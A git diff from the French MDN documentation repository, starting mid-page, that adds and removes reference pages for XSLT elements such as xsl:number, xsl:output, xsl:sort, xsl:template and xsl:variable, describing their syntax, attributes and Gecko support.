Numérote tous les nœuds vérifiant count de façon séquentielle, sans considération de niveau. Les axes ancestor, self et preceding sont tous pris en compte. Le processeur débute au nœud courant et continue dans l'ordre inverse du document, s'arrêtant s'il rencontre une correspondance avec un attribut from. Si aucune correspondance avec l'attribut count n'est trouvé,e la séquence produite sera une liste vide. Ce niveau n'est pas supporté à l'heure actuelle. +
+
+
from +
Définit l'endroit où la numérotation doit débuter. La séquence débute avec le premier descendant du nœud vérifiant l'attribut from. +
+
value +
Applique un format donné à un nombre. C'est un moyen rapide de formater un nombre fourni par l'utilisateur dans un des formats standards de <xsl:number>. +
+
format +
Définit le format du nombre généré : +
+
format="1" +
<tt>1 2 3 …</tt> (C'est le seul format supporté à ce jour) +
+
+
format="01" +
<tt>01 02 03 … 09 10 11 …</tt> +
+
+
format="a" +
<tt>a b c … y z aa ab …</tt> +
+
+
format="A" +
<tt>A B C … Y Z AA AB …</tt> +
+
+
format="i" +
<tt>i ii iii iv v …</tt> +
+
+
format="I" +
<tt>I II III IV V …</tt> +
+
+
lang (Non supporté à l'heure actuelle) +
Définit les alphabets pouvant être utilisés pour les formats de numérotation basés sur les lettres. +
+
letter-value +
Permet de lever l'ambiguïté sur les séquences numérotées qui utilisent des lettres. Certaines langues possèdent plus d'un système de numérotation utilisant les lettres. Si deux systèmes commencent avec le même glyphe, il peut y avoir une ambiguïté. Ce attribut peut avoir la valeur alphabetic ou traditional. La valeur par défaut est alphabetic. +
+
grouping-separator +
Définit le caractère devant être utilisé pour les séparations des groupes (par exemple, le séparateur des milliers). Le caractère par défaut est la virgule (,). +
+
grouping-size +
Définit le nombre de chiffres formant un groupe. La valeur par défaut est 3. +
+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 7.7. +

+

Support Gecko

+

Support partiel. Voir les commentaires ci-dessus. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/number", "es": "es/XSLT/number", "pl": "pl/XSLT/number" } ) }} diff --git a/files/fr/web/xslt/element/otherwise/index.html b/files/fr/web/xslt/element/otherwise/index.html new file mode 100644 index 0000000000..d39df0a592 --- /dev/null +++ b/files/fr/web/xslt/element/otherwise/index.html @@ -0,0 +1,30 @@ +--- +title: otherwise +slug: Web/XSLT/otherwise +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/otherwise +--- +

+{{ XsltRef() }} +

L'élément <xsl:otherwise> est utilisé pour définir une action qui doit être exécutée lorsqu'aucune condition <xsl:when> ne s'applique. Elle est comparable aux instructions else ou default d'autres langages de programmation. +

+

Syntaxe

+
<xsl:otherwise>
+	MODÈLE
+</xsl:otherwise>

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+

Aucun. +

+

Type

+

Sous-instruction, doit apparaître comme le dernier enfant d'un élément <xsl:choose>, dans un modèle. +

+

Définition

+

XSLT 1.0, section 9.2. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/otherwise", "es": "es/XSLT/otherwise", "pl": "pl/XSLT/otherwise" } ) }} diff --git a/files/fr/web/xslt/element/output/index.html b/files/fr/web/xslt/element/output/index.html new file mode 100644 index 0000000000..3c4296c1cd --- /dev/null +++ b/files/fr/web/xslt/element/output/index.html @@ -0,0 +1,67 @@ +--- +title: output +slug: Web/XSLT/output +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/output +--- +

+{{ XsltRef() }} +

L'élément <xsl:output> contrôle les caractéristiques du document de sortie. Pour fonctionner correctement dans Netscape, cet élément doit être utilisé, avec l'attribut method. À partir de Netscape 7.0, method="text" fonctionne comme prévu. +

+

Syntaxe

+
<xsl:output
+	method="xml" | "html" | "text"
+	version=CHAÎNE
+	encoding=CHAÎNE
+	omit-xml-declaration="yes" | "no"
+	standalone="yes" | "no"
+	doctype-public=CHAÎNE
+	doctype-system=CHAÎNE
+	cdata-section-elements=LISTE-DE-NOMS
+	indent="yes" | "no"
+	media-type=CHAÎNE  />
+

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+
method +
Définit le format de sortie. +
+
version +
Définit la valeur de l'attribut version dans la déclaration XML ou HTML du document de sortie. Cet attribut n'est utilisé qu'avec method="html" ou method="xml". +
+
encoding +
Définit la valeur de l'attribut encoding dans le document de sortie. +
+
omit-xml-declaration +
Indique d'inclure ou non, une déclaration XML dans le document de sortie. Les valeurs possibles sont yes ou no. +
+
standalone (Non supporté) +
Indique, si utilisé, qu'une déclaration autonome doit être incluse dans le document de sortie et donne sa valeur. Les valeurs possibles sont yes ou no. +
+
doctype-public +
Définit la valeur de l'attribut PUBLIC de la déclaration du DOCTYPE dans le document de sortie. +
+
doctype-system +
Définit la valeur de l'attribut SYSTEM de la déclaration du DOCTYPE dans le document de sortie. +
+
cdata-section-elements +
Liste les éléments dont le contenu texte doit être écrit en tant que section CDATA. Les éléments sont séparés par des espaces. +
+
indent (Non supporté.) +
Spécifie si la sortie doit indentée pour indiquer sa structure hiérarchique. +
+
media-type (Non supporté.) +
Définit le type MIME du document de sortie. +
+

Type

+

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. +

+

Définition

+

XSLT 1.0, section 16. +

+

Gecko support

+

Support partiel. Voir les commentaires ci-dessus. +

Interwiki languages Links +

{{ languages( { "en": "en/XSLT/output", "pl": "pl/XSLT/output" } ) }} diff --git a/files/fr/web/xslt/element/param/index.html b/files/fr/web/xslt/element/param/index.html new file mode 100644 index 0000000000..56f1426050 --- /dev/null +++ b/files/fr/web/xslt/element/param/index.html @@ -0,0 +1,33 @@ +--- +title: param +slug: Web/XSLT/param +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/param +--- +

+{{ XsltRef() }} +

L'élément <xsl:param> définit un paramètre par son nom et, éventuellement, lui attribue une valeur par défaut. Lorsqu'il est utilisé comme élément de premier niveau, le paramètre est global. Utilisé dans un élément <xsl:template>, le paramètre est local à ce modèle. Dans ce dernier cas, il doit être le premier élément enfant du modèle. +

+

Syntaxe

+
<xsl:param name=NOM select=EXPRESSION>
+	MODÈLE
+</xsl:param>
+

Attribut obligatoire

+
name +
Nomme le paramètre. Le nom doit être un QName valide. +
+

Attribut optionnel

+
select +
Utilise une expression XPath pour fournir une valeur par défaut si elle n'est pas spécifiée. +
+

Type

+

Instruction, peut apparaître comme élément de premier niveau ou dans un modèle. +

+

Définition

+

XSLT 1.0, section 11. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/param", "pl": "pl/XSLT/param" } ) }} diff --git a/files/fr/web/xslt/element/preserve-space/index.html b/files/fr/web/xslt/element/preserve-space/index.html new file mode 100644 index 0000000000..e0300d426b --- /dev/null +++ b/files/fr/web/xslt/element/preserve-space/index.html @@ -0,0 +1,31 @@ +--- +title: preserve-space +slug: Web/XSLT/preserve-space +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/preserve-space +--- +

+{{ XsltRef() }} +

L'élément <xsl:preserve-space> définit les éléments du document source pour lesquels les espaces doivent être préservées. Si il y a plus d'un élément, leurs noms doivent être séparés par des espaces. La politique par défaut est de conserver les espaces, cet élément n'est donc utile que pour contrer l'effet de <xsl:strip-space>. +

+

Syntaxe

+
<xsl:preserve-space elements=LISTE-DE-NOMS-D-ÉLÉMENTS  />
+
+

Attribut obligatoire

+
elements +
Définit les éléments pour lesquels les espaces doivent être préservées. +
+

Attributs optionnels

+

Aucun. +

+

Type

+

Haut niveau, doit être un enfant de <xsl:stylesheet> ou de <xsl:transform>. +

+

Définition

+

XSLT 1.0, section 3.4. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/preserve-space", "pl": "pl/XSLT/preserve-space" } ) }} diff --git a/files/fr/web/xslt/element/processing-instruction/index.html b/files/fr/web/xslt/element/processing-instruction/index.html new file mode 100644 index 0000000000..cd5842c36a --- /dev/null +++ b/files/fr/web/xslt/element/processing-instruction/index.html @@ -0,0 +1,32 @@ +--- +title: processing-instruction +slug: Web/XSLT/processing-instruction +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/processing-instruction +--- +

+{{ XsltRef() }} +

L'élément <xsl:processing-instruction> écrit une instruction de traitement dans le document de sortie. +

+

Syntaxe

+
<code><xsl:processing-instruction name=NOM>
+	MODÈLE
+</xsl:processing-instruction></code>
+

Attribut obligatoire

+
name +
Définit le nom de cette instruction de traitement. +
+

Attributs optionnels

+

Aucun. +

+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 7.3. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/processing-instruction", "pl": "pl/XSLT/processing-instruction" } ) }} diff --git a/files/fr/web/xslt/element/sort/index.html b/files/fr/web/xslt/element/sort/index.html new file mode 100644 index 0000000000..1c783db1c3 --- /dev/null +++ b/files/fr/web/xslt/element/sort/index.html @@ -0,0 +1,49 @@ +--- +title: sort +slug: Web/XSLT/sort +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/sort +--- +

+{{ XsltRef() }} +

L'élément <xsl:sort> définit les paramètres de tri pour des nœuds sélectionnés par <xsl:apply-templates> ou par <xsl:for-each>. +

+

Syntaxe

+
<xsl:sort
+	select=EXPRESSION
+	order="ascending" | "descending"
+	case-order="upper-first"| "lower-first"
+	lang=XML:LANG-CODE
+	data-type="text" | "number" />
+
+

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+
select +
Utilise une expression XPath pour définir les nœuds à classer. +
+
order +
Définit si les nœuds doivent être classés dans l'ordre ascendant ou descendant. La valeur par défaut est ascending. +
+
case-order +
Indique si ce sont les majuscules ou les minuscules qui apparaitront en premier. Les valeurs autorisées sont upper-first et lower-first. +
+
lang +
Définit la langue à utiliser pour le classement. +
+
data-type +
Définit si les éléments doivent être ordonnés alphabétiquement ou numériquement. Les valeurs autorisées sont text et number ; text est la valeur par défaut. +
+

Type

+

Sous-instruction, apparaît toujours comme un enfant de <xsl:for-each>, où il doit apparaître avant le modèle lui-même, ou comme enfant de <xsl:apply-templates>. +

+

Définition

+ +

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/sort", "pl": "pl/XSLT/sort" } ) }} diff --git a/files/fr/web/xslt/element/strip-space/index.html b/files/fr/web/xslt/element/strip-space/index.html new file mode 100644 index 0000000000..76ead0b589 --- /dev/null +++ b/files/fr/web/xslt/element/strip-space/index.html @@ -0,0 +1,31 @@ +--- +title: strip-space +slug: Web/XSLT/strip-space +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/strip-space +--- +

+{{ XsltRef() }} +

L'élément <xsl:strip-space> définit les éléments du document source dont les noeuds descendants ne contenant que des espaces doivent être supprimés. +

+

Syntaxe

+
<xsl:strip-space elements=LISTE-DE-NOMS-D-ÉLÉMENTS  />
+
+

Attribut obligatoire

+
elements +
Définit une liste d'éléments du document source, séparés par des espaces, desquels les nœuds ne comportant que des espaces doivent être supprimés. +
+

Attributs optionnels

+

Aucun. +

+

Type

+

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. +

+

Définition

+

XSLT 1.0, section 3.4. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/strip-space", "pl": "pl/XSLT/strip-space" } ) }} diff --git a/files/fr/web/xslt/element/stylesheet/index.html b/files/fr/web/xslt/element/stylesheet/index.html new file mode 100644 index 0000000000..ba3b517967 --- /dev/null +++ b/files/fr/web/xslt/element/stylesheet/index.html @@ -0,0 +1,46 @@ +--- +title: stylesheet +slug: Web/XSLT/stylesheet +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/stylesheet +--- +

+{{ XsltRef() }} +

L'élément <xsl:stylesheet> (ou son équivalent <xsl:transform>) est l'élément le plus externe d'une feuille de style, celui qui contient tout les autres éléments. +

+

Déclaration de l'espace de nommage

+

Un pseudo-attribut est nécessaire pour identifier le document comme étant une feuille de style XSLT. Typiquement, on utilise xmlns:xsl="http://www.w3.org/1999/XSL/Transform". +

+

Syntaxe

+
<xsl:stylesheet
+	version=NOMBRE
+	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+	id=NOM
+	extension-element-prefixes=LISTE-DE-NOMS
+	exclude-result-prefixes=LISTE-DE-NOMS>
+		FEUILLE DE STYLE ENTIÈRE
+</xsl:stylesheet>

Attribut obligatoire

+
version +
Définit la version de XSLT requise par cette feuille de style. +
+

Attributs optionnels

+
id (Supporté comme dans Netscape 7.0 uniquement s'il est explicitement appelé par une DTD intégrée) +
Définit un identifiant id pour cette feuille de style. Cet attribut est le plus souvent utilisé lorsque la feuille de style est incorporée dans un autre document XML. +
+
extension-element-prefixes (Non supporté) +
Définit la liste des préfixes des espaces de nommage pour les éléments d'extension présent dans ce document. Les noms sont séparés par des espaces. +
+
exclude-result-prefixes +
Définit tous les espaces de nommage utilisés dans le document qui ne doivent pas être envoyés vers le document de sortie. Les noms sont séparés par des espaces. +
+

Type

+

Élément le plus externe de la feuille de style, obligatoire. +

+

Définition

+

XSLT 1.0, section 2.2. +

+

Support Gecko

+

Support partiel. Voir les commentaires ci-dessus. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/stylesheet", "pl": "pl/XSLT/stylesheet" } ) }} diff --git a/files/fr/web/xslt/element/template/index.html b/files/fr/web/xslt/element/template/index.html new file mode 100644 index 0000000000..820b6a7a94 --- /dev/null +++ b/files/fr/web/xslt/element/template/index.html @@ -0,0 +1,45 @@ +--- +title: template +slug: Web/XSLT/template +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/template +--- +

+{{ XsltRef() }} +

L'élément <xsl:template> définit un modèle produisant une sortie. Au moins l'un des atttributs match et set doit posséder une valeur. +

+

Syntaxe

+
<xsl:template
+	match=MOTIF
+	name=NOM
+	mode=NOM
+	priority=NOMBRE>
+	<xsl:param> [optionnel]
+	MODÈLE
+</xsl:template>

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+
match +
Définit le motif qui détermine les éléments auxquels ce modèle doit être appliqué. Il devient attribut obligatoire si l'attribut name n'est pas présent. +
+
name +
Définit un nom pour ce modèle, par lequel il sera invoqué à l'aide de l'élément <xsl:call-template>. +
+
mode +
Définit un mode particulier pour ce modèle, qui peut correspondre à un attribut de l'élément <xsl:apply-templates>. Utile pour traiter la même information de différentes façons. +
+
priority +
Définit une priorité pour ce modèle, sous forme d'un nombre quelconque, à l'eception de Infinity (infini). Le processeur utilise ce nombre lorsque plusieurs modèles s'appliquent au même nœud. +
+

Type

+

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. +

+

Définition

+

XSLT 1.0, section 5.3. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/template", "pl": "pl/XSLT/template" } ) }} diff --git a/files/fr/web/xslt/element/text/index.html b/files/fr/web/xslt/element/text/index.html new file mode 100644 index 0000000000..c69e56df6c --- /dev/null +++ b/files/fr/web/xslt/element/text/index.html @@ -0,0 +1,32 @@ +--- +title: text +slug: Web/XSLT/text +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/text +--- +

+{{ XsltRef() }} +

L'élément <xsl:text> écrit un texte littéral dans l'arbre de sortie. Il peut contenir des #PCDATA, du texte littéral, et des références aux entités. +

+

Syntaxe

+
<xsl:text disable-output-escaping="yes" | "no">
+	TEXTE
+</xsl:text>
+

Attributs obligatoires

+

Aucun. +

+

Attribut optionnel

+
disable-output-escaping (Netscape ne sérialise pas le résultat de la transformation - la « sortie » ci-dessous - aussi cet attribut importe peu dans ce contexte. Pour écrire des entités HTML, utilisez les valeurs numériques correspondantes à leur place, par exemple &#160 pour &nbsp). +
Définit si les caractères spéciaux sont échappés lors de l'écriture vers la sortie. Les valeurs autorisées sont yes ou no. Si il est définit à yes, par exemple, le caractère <tt>></tt> est envoyé tel quel ( > )et non comme &gt. +
+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 7.2. +

+

Support Gecko

+

Supporté comme indiqué plus haut. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/text", "pl": "pl/XSLT/text" } ) }} diff --git a/files/fr/web/xslt/element/transform/index.html b/files/fr/web/xslt/element/transform/index.html new file mode 100644 index 0000000000..f8b7ae371d --- /dev/null +++ b/files/fr/web/xslt/element/transform/index.html @@ -0,0 +1,15 @@ +--- +title: transform +slug: Web/XSLT/transform +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/transform +--- +

+{{ XsltRef() }} +

L'élément <xsl:transform> est l'équivalent exact de l'élément <xsl:stylesheet>. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/transform", "pl": "pl/XSLT/transform" } ) }} diff --git a/files/fr/web/xslt/element/value-of/index.html b/files/fr/web/xslt/element/value-of/index.html new file mode 100644 index 0000000000..eba0698be5 --- /dev/null +++ b/files/fr/web/xslt/element/value-of/index.html @@ -0,0 +1,32 @@ +--- +title: value-of +slug: Web/XSLT/value-of +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/value-of +--- +

+{{ XsltRef() }} +

L'élément <xsl:value-of> évalue une expression XPath, la convertit en chaîne et écrit cette chaîne dans l'arbre de sortie. +

+

Syntaxe

+
<xsl:value-of select=EXPRESSION disable-output-escaping="yes" | "no"  />
+
+

Attribut obligatoire

+
select +
Définit l'expression XPath à évaluer et à écrire dans l'arbre de sortie. +
+

Attributs optionnels

+
disable-output-escaping (Netscape ne sérialise pas le résultat de la transformation - la « sortie » ci-dessous - aussi cet attribut importe peu dans ce contexte. Pour sortir des entités HTML, employez leurs valeurs numériques à la place, par exemple &#160 pour &nbsp). +
Définit si les caractères spéciaux sont échappés quand ils sont écrits sur la sortie. Les valeurs autorisées sont yes ou no. Par exemple, s'il est définit à yes, le caractère <tt>></tt> est transmis brut ( > ). Dans le cas contraire, c'est &gt qui serait envoyée à la sortie. +
+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 7.6.1. +

+

Support Gecko

+

Supporté, comme décrit ci-dessus. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/value-of", "ja": "ja/XSLT/value-of", "pl": "pl/XSLT/value-of" } ) }} diff --git a/files/fr/web/xslt/element/variable/index.html b/files/fr/web/xslt/element/variable/index.html new file mode 100644 index 0000000000..0bd1320084 --- /dev/null +++ b/files/fr/web/xslt/element/variable/index.html @@ -0,0 +1,33 @@ +--- +title: variable +slug: Web/XSLT/variable +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/variable +--- +

+{{ XsltRef() }} +

L'élément <xsl:variable> déclare une variable globale ou locale dans une feuille de style et lui attribue une valeur. Comme XSLT ne permet pas d'effet de bord, une fois que la valeur de la variable est établie, elle reste la même jusqu'à ce que la variable soit hors de portée. +

+

Syntaxe

+
<xsl:variable name=NOM select=EXPRESSION >
+	MODÈLE
+</xsl:variable>
+

Attribut obligatoire

+
name +
Donne un nom à la variable. +
+

Attribut optionnel

+
select +
Définit la valeur de la variable à l'aide d'une expression XPath. Si l'élément contient un modèle, cet attribut est ignoré. +
+

Type

+

Premier niveau ou instruction. S'il intervient comme élément de premier niveau, la variable est de portée globale, et est accessible depuis l'ensemble du document. S'il intervient dans un modèle, la variable est de portée locale, et n'est accessible que dans le modèle dans lequel elle apparaît. +

+

Définition

+

XSLT 1.0, section 11. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/variable", "pl": "pl/XSLT/variable" } ) }} diff --git a/files/fr/web/xslt/element/when/index.html b/files/fr/web/xslt/element/when/index.html new file mode 100644 index 0000000000..21cf06aa55 --- /dev/null +++ b/files/fr/web/xslt/element/when/index.html @@ -0,0 +1,31 @@ +--- +title: when +slug: Web/XSLT/when +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/when +--- +

+{{ XsltRef() }} +

L'élément <xsl:when> apparaît toujours dans un élément <xsl:choose>, et se comporte comme une structure conditionelle 'case'. +

+

Syntaxe

+
<xsl:when test=EXPRESSION>
+	MODÈLE
+</xsl:when>

Attribut obligatoire

+
test +
Définit une expression booléenne à évaluer. Si elle est vraie, le contenu de l'élément est exécuté ; sinon, il est ignoré. +
+

Attributs obligatoires

+

Aucun. +

+

Type

+

Sous-instruction, apparaît toujours dans un élément <xsl:choose>. +

+

Définition

+

XSLT 1.0, section 9.2. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/when", "es": "es/XSLT/when", "pl": "pl/XSLT/when" } ) }} diff --git a/files/fr/web/xslt/element/with-param/index.html b/files/fr/web/xslt/element/with-param/index.html new file mode 100644 index 0000000000..7b4ca9c40e --- /dev/null +++ b/files/fr/web/xslt/element/with-param/index.html @@ -0,0 +1,32 @@ +--- +title: with-param +slug: Web/XSLT/with-param +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/with-param +--- +

+{{ XsltRef() }} +

L'élément <xsl:with-param> définit la valeur d'un paramètre à passer à un modèle. +

+

Syntaxe

+
<xsl:with-param name=NOM select=EXPRESSION>
+	MODÈLE
+</xsl:with-param>

Attribut obligatoire

+
name +
Définit un nom pour ce paramètre. +
+

Attribut optionnel

+
select +
Définit la valeur du paramètre à l'aide d'une expression XPath. Si l'élément contient un modèle, l'attribut est ignoré. +
+

Type

+

Sous-instruction, apparaît toujours dans un élément <xsl:apply-templates> ou un élément <xsl:call-template>. +

+

Définition

+

XSLT 1.0, section 11.6. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/with-param", "es": "es/XSLT/with-param", "pl": "pl/XSLT/with-param" } ) }} diff --git a/files/fr/web/xslt/fallback/index.html b/files/fr/web/xslt/fallback/index.html deleted file mode 100644 index 495ac3a99d..0000000000 --- a/files/fr/web/xslt/fallback/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: fallback -slug: Web/XSLT/fallback -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/fallback ---- -

-{{ XsltRef() }} -

L'élément <xsl:fallback> définit le modèle à utiliser si un élément d'extension donné (ou, éventuellement, une nouvelle version) n'est pas supporté. -

-

Syntaxe

-
<xsl:fallback>
-	MODÈLE
-</xsl:fallback>

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-

Aucun. -

-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 15. -

-

Gecko support

-

Pas encore supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/fallback", "es": "es/XSLT/fallback", "pl": "pl/XSLT/fallback" } ) }} diff --git a/files/fr/web/xslt/for-each/index.html b/files/fr/web/xslt/for-each/index.html deleted file mode 100644 index df76ed47f2..0000000000 --- a/files/fr/web/xslt/for-each/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: for-each -slug: Web/XSLT/for-each -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/for-each ---- -

-{{ XsltRef() }} -

L'élément <xsl:for-each> sélectionne un ensemble de nœuds et traite chacun d'eux de la même façon. Il est souvent utilisé pour des itérations sur un ensemble de nœuds ou pour changer le nœud courant. Si un ou plusieurs éléments <xsl:sort> apparaissent comme enfants de cet élément, le tri est effectué avant le traitement. Autrement, les nœuds sont traités dans l'ordre d'apparition dans le document. -

-

Syntaxe

-
<xsl:for-each select=EXPRESSION>
-	<xsl:sort> [optionnel]
-	MODÈLE
-</xsl:for-each>

Attribut obligatoire

-
select -
Utilise une expression XPath pour spécifier les nœuds qui doivent être traités. -
-

Attributs optionnels

-

Aucun. -

-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 8. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/for-each", "es": "es/XSLT/for-each", "pl": "pl/XSLT/for-each" } ) }} diff --git a/files/fr/web/xslt/if/index.html b/files/fr/web/xslt/if/index.html deleted file mode 100644 index dd6c6f83bc..0000000000 --- a/files/fr/web/xslt/if/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: if -slug: Web/XSLT/if -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/if ---- -

-{{ XsltRef() }} -

L'élément <xsl:if> regroupe un attribut test et un modèle. Si le test renvoie true, le modèle est appliqué. En cela, il est très semblable à l'instruction if d'autres langages. Cependant, pour simuler un <tt>if-then-else</tt>, vous devrez utilisez l'élément <xsl:choose> avec un descendant <xsl:when> et un <xsl:otherwise>. -

-

Syntaxe

-
<xsl:if test=EXPRESSION>
-	MODÈLE
-</xsl:if>
-

Attribut obligatoire

-
test -
Contient une expression XPath qui peut être évaluée (en utilisant les règles définies pour boolean( ) si nécessaire) en une valeur booléenne. Si la valeur est true, le modèle est appliqué ; dans le cas contraire, aucune action n'est exécutée. -
-

Attributs optionnels

-

Aucun. -

-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0 section 9.1. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/if", "es": "es/XSLT/if", "pl": "pl/XSLT/if" } ) }} diff --git a/files/fr/web/xslt/import/index.html b/files/fr/web/xslt/import/index.html deleted file mode 100644 index 80a618fd06..0000000000 --- a/files/fr/web/xslt/import/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: import -slug: Web/XSLT/import -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/import ---- -

{{ XsltRef() }}

- -

L'élément <xsl:import> est un élément de haut niveau qui sert à importer le contenu d'une feuille de styles dans une autre. Généralement, le contenu importé a une priorité inférieure à celui de la feuille qui effectue l'importation. Ceci contraste avec <xsl:include> où les contenus des deux feuilles ont exactement la même priorité.

- -

Syntaxe

- -

<xsl:import href=URI />

- -

Attribut obligatoire

- -
-
href
-
Définit l'URI de la feuille de styles à importer.
-
- -

Attributs optionnels

- -

Aucun.

- -

Type

- -

Haut niveau, doit apparaître avant tout autre descendant de <xsl:stylesheet> ou de <xsl:transform> dans la feuille de styles qui effectue l'importation.

- - -

Définition

- -

XSLT 1.0, section 2.6.2.

- -

Support Gecko

- -

Support presque complet, quelques problèmes avec les variables et les paramètres de haut niveau dans Mozilla 1.0.

diff --git a/files/fr/web/xslt/include/index.html b/files/fr/web/xslt/include/index.html deleted file mode 100644 index d3e669099e..0000000000 --- a/files/fr/web/xslt/include/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: include -slug: Web/XSLT/include -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/include ---- -

{{ XsltRef() }}

- -

L'élément <xsl:include> fusionne les contenus de deux feuilles de styles. Contrairement à l'élément <xsl:import>, les contenus des deux feuilles de styles fusionnées ont la même priorité.

- -

Syntaxe

- -
<xsl:include href=URI />
-
- -

Attribut obligatoire

- -
-
href
-
Définit l'URI de la feuille de styles à inclure.
-
- -

Attributs optionnels

- -

Aucun.

- -

Type

- -

Haut niveau, peut apparaître dans n'importe quel ordre comme enfant de <xsl:stylesheet> ou de <xsl:transform>.

- -

Définition

- -

XSLT 1.0, section 2.6.1.

- -

Support Gecko

- -

Supporté.

- -

Interwiki Languages Links

- -

{{ languages( { "en": "en/XSLT/include", "es": "es/XSLT/include", "pl": "pl/XSLT/include" } ) }}

diff --git a/files/fr/web/xslt/index/index.html b/files/fr/web/xslt/index/index.html new file mode 100644 index 0000000000..fcd1895d72 --- /dev/null +++ b/files/fr/web/xslt/index/index.html @@ -0,0 +1,8 @@ +--- +title: Sommaire +slug: Web/XSLT/Sommaire +translation_of: Web/XSLT/Index +--- +
{{XSLTRef}}{{QuickLinksWithSubpages("/fr/docs/Web/XSLT")}}
+ +

{{Index("/fr/docs/Web/XSLT")}}

diff --git "a/files/fr/web/xslt/interface_xslt_js_dans_gecko/d\303\251finition_de_param\303\250tres/index.html" "b/files/fr/web/xslt/interface_xslt_js_dans_gecko/d\303\251finition_de_param\303\250tres/index.html" deleted file mode 100644 index 43cf60370b..0000000000 --- "a/files/fr/web/xslt/interface_xslt_js_dans_gecko/d\303\251finition_de_param\303\250tres/index.html" +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Définition de paramètres -slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Définition_de_paramètres -tags: - - Traduction_à_relire -translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Setting_Parameters ---- -

Définition de paramètres

- -

Alors que l'exécution de transformations à l'aide des fichiers .xsl et .xml pré codés est utile, la configuration du fichier .xsl par JavaScript peut l'être bien plus. Par exemple, JavaScript et XSLT peuvent être utilisés pour trier des données XML puis les afficher. L'ordre du tri pourra alterner entre le tri ascendant et le tri descendant.

- -

XSLT fournit l'élément xsl:param, qui est un descendant de l'élément xsl:stylesheet. XSLTProcessor() fournit trois méthodes JavaScript pour interagir avec ces paramètres : setParameter, getParameter et removeParameter. Elles prennent toutes comme premier argument l'URI de l'espace de nommage de xsl:param (normalement, param tombera dans l'espace de nommage par défaut, ainsi le passer à null suffira). Le nom local de xsl:param est le second argument. setParameter requiert un troisième argument, à savoir la valeur à laquelle le paramètre sera défini.

- -

Figure 7 : Paramètres

- -
-

XSLT :

- -
<xsl:param name="myOrder" />
-
- -

JavaScript :

- -
var sortVal = xsltProcessor.getParameter(null, "monOrdre");
-
-if (sortVal == "" || sortVal == "descendant")
-  xsltProcessor.setParameter(null, "monOrdre", "ascendant");
-else
-  xsltProcessor.setParameter(null, "monOrdre", "descendant");
-
-
